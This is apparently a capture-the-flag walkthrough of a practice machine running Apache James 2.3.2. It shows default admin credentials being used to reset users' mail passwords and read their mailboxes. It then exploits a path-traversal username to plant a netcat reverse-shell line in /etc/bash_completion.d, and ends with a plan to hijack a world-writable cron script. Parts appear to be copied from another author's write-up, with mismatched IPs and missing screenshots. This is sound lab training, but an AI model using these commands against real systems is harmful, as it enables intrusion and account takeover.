The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.
Nothing useful, so let’s move on to enumerating port 4555.
Enumeration: JAMES Remote Admin 2.3.2 - TCP 4555
Run searchsploit on the software name and version.
┌──(kali💀kali)-[~]
└─$ searchsploit Apache James Server 2.3.2
Apache James Server 2.3.2 - Insecure User Creation Arbitrary F | linux/remote/48130.rb
Apache James Server 2.3.2 - Remote Command Execution | linux/remote/35513.py
Apache James Server 2.3.2 - Remote Command Execution (RCE) (Au | linux/remote/50347.py
Jackpot! Transfer the exploit to our current directory.
┌──(kali💀kali)-[~/Desktop]
└─$ searchsploit -m 35513
Exploit: Apache James Server 2.3.2 - Remote Command Execution
URL: https://www.exploit-db.com/exploits/35513
Path: /usr/share/exploitdb/exploits/linux/remote/35513.py
Codes: N/A
Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/Desktop/35513.py
You should never run scripts that you haven’t reviewed first, so let’s view the content of this exploit.
After reviewing the script, I made a few notes:
This is an authenticated exploit, so we need credentials. The exploit uses the default credentials root/root that are probably shipped with the software. We’ll have to connect to the server to find out if these credentials are valid before we run this exploit.
When running the exploit we have to pass the IP address as an argument. The script by default connects to port 4555 which is good since our server is running on that port.
The script first creates a user with username “../../../../../../../../etc/bash_completion.d” and password “exploit”. It then connects to the SMTP server and sends that user a payload. Right off the bat, this doesn’t make much sense, so we’ll have to research the vulnerability.
After a bit of research we find that the vulnerability is in the adduser functionality. When a new user is added, the server creates a new subdirectory to store incoming and outgoing emails for that user. However, the username field is not properly validated. Therefore, when we’re creating a user with the username “../../../../../../../../etc/bash_completion.d”, any mail that gets sent to that user will be stored in that directory path. Why is that dangerous? Long story short, anything under the directory /etc/bash_completion.d is automatically loaded by Bash for all users! To learn more about bash completion scripts, refer to this article. https://iridakos.com/programming/2018/03/01/bash-programmable-completion-tutorial
Therefore, if we create a user with a username that leads to the /etc/bash_completion.d directory, when we send an email to that user, our email gets saved in the bash_completion.d directory and the content of our email is automatically loaded by Bash when any user logs into the machine. So if we include a reverse shell in the email, all we have to do is wait for a single user to log in and we have access to the machine!
Shell as mindy
First, let’s test the root/root credentials on the James Remote Admin server.
┌──(kali💀kali)-[~/Desktop]
└─$ nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
It works, good! List the available commands using the HELP command.
HELP
Currently implemented commands:
help display this help
listusers display existing accounts
countusers display the number of existing accounts
adduser [username] [password] add a new user
verify [username] verify if specified user exist
deluser [username] delete existing user
setpassword [username] [password] sets a user's password
setalias [user] [alias] locally forwards all email for 'user' to 'alias'
showalias [username] shows a user's current email alias
unsetalias [user] unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username] shows a user's current email forwarding
unsetforwarding [username] removes a forward
user [repositoryname] change to another user repository
shutdown kills the current JVM (convenient when James is run as a daemon)
quit close connection
Use the listusers command to display existing accounts.
listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin
We have 5 accounts. Since this is an admin account, we can set a user’s password and then access their account. If this was a real penetration test, you probably don’t want to do that. You’ll raise a lot of red flags when a bunch of users no longer can access their accounts. However, since this is a practice environment, I’m going to go all out. Let’s start by changing the mailadmin user’s account.
setpassword mailadmin exodus
Password for mailadmin reset
Now that we reset the password for the mailadmin account, let’s access his email using telnet.
┌──(kali💀kali)-[~/Desktop]
└─$ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
USER mailadmin
+OK
PASS exodus
+OK Welcome mailadmin
LIST
+OK 0 0
.
He does not have any mail. Next, I’m going to reset the passwords of all the other accounts.
setpassword james password
Password for james reset
setpassword thomas password
Password for thomas reset
setpassword john password
Password for john reset
setpassword mindy password
Password for mindy reset
James, Thomas and John didn’t have any emails too. Mindy on the other hand had two emails stored in her account.
┌──(kali💀kali)-[~]
└─$ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
USER mindy
+OK
PASS password
+OK Welcome mindy
LIST
+OK 2 1945
1 1109
2 836
.
RETR 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
for <mindy@localhost>;
Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome
Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.
We are looking forward to you joining our team and your success at Solid State Security.
Respectfully,
James
.
RETR 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
for <mindy@localhost>;
Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access
Dear Mindy,
Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
username: mindy
pass: P@55W0rd1!2@
Respectfully,
James
.
The first email was useless but the second email gives us SSH credentials! Let’s SSH into Mindy’s account.
username: mindy
pass: P@55W0rd1!2@
┌──(kali💀kali)-[~]
└─$ ssh mindy@10.10.10.51
mindy@solidstate:~$ ls
bin linpeas.sh pspy32 user.txt
mindy@solidstate:~$ cat user.txt
e3e931----------------------------
We’re in! However, we seem to be in a restricted bash shell (rbash). A restricted shell is a shell that restricts a user by blocking/restricting some of the commands. That’s why the “whoami” command didn’t work for us. The “ls” and “cat” commands work, so we can at least view the user.txt flag.
There are several things you can do to try and break out of a restricted shell. I tried a bunch of them, but nothing worked. I’m not even allowed to change directories!
mindy@solidstate:~$ cd /home
-rbash: cd: restricted
The first thing I try when facing SSH into rbash is adding -t bash to the SSH connection command. This will run bash on connect instead of the assigned shell. It works here (though it does produce a busted prompt), and I an now run id and cd:
Seeing what the script does, I’ll try this manually with nc and telnet. First, create a user:
┌──(kali💀kali)-[~]
└─$ nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
adduser ../../../../../../../../etc/bash_completion.d exodus
User ../../../../../../../../etc/bash_completion.d added
listusers
Existing accounts 6
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
Now, I’ll send that user an email with a reverse shell, connecting to SMTP on 25:
┌──(kali💀kali)-[~]
└─$ telnet 10.10.10.51 25
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Mon, 1 Jan 2024 05:26:33 -0500 (EST)
EHLO exodus
250-solidstate Hello exodus (10.10.16.4 [10.10.16.4])
250-PIPELINING
250 ENHANCEDSTATUSCODES
MAIL FROM: <'exodus@10.10.16.4>
250 2.1.0 Sender <'exodus@10.10.16.4> OK
RCPT TO: <../../../../../../../../etc/bash_completion.d>
250 2.1.5 Recipient <../../../../../../../../etc/bash_completion.d@localhost> OK
DATA
354 Ok Send data ending with <CRLF>.<CRLF>
FROM: exodus@10.10.16.4
'
/bin/nc -e /bin/bash 10.10.16.4 443
.
250 2.6.0 Message received
This creates a file in /etc/bash_completion.d that contains my reverse shell. So the next time any user logs in, I’ll get a shell as that user. It is important to add the ' at the start of the first header, MAIL FROM. Then I close that ' just before my payload. Later, when this file is run by bash, that will lump all those lines into one broken command, which will fail and continue. Without the ', there are lines that will crash and break the script before the reverse shell can run.
I had to play with payloads to get this working, and I’ll explore this a bit in Beyond Root. I did find when doing things manually, /bin/nc -e /bin/bash 10.10.14.47 443 worked, where as others didn’t. When using the Python script, several payloads worked. That seems to have to do with the way the Python script can add \r.
Trigger -> Shell
Now I can SSH as mindy, and trigger the code. There are new rbash errors from the exploit, and then the terminal just hangs:
You can see in the error that it’s trying to run everything from 0xdf@10.10.14.47 to the FROM: 0xdf@10.10.14.47 as one command, due to the added '. At my nc listener, I got a shell:
┌──(kali💀kali)-[~]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.51] 36822
whoami
mindy
python -c 'import pty;pty.spawn("bash")'
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$
Priv: mindy –> root
Let’s transfer the LinPeas script from our attack machine to the target machine. In the attack machine, start up a server in the same directory that the script resides in.
After a minute we see an interesting process pop up.
If you view the permissions on the /opt/tmp.py file, you’ll see that everyone has read/write/execute privileges on it.
Therefore all we need to do is change the content of the file to send a reverse shell to our attack machine and then we simply wait for the cron job to send a privileged shell back.
Change the content of the file to send a reverse shell to our attack machine.
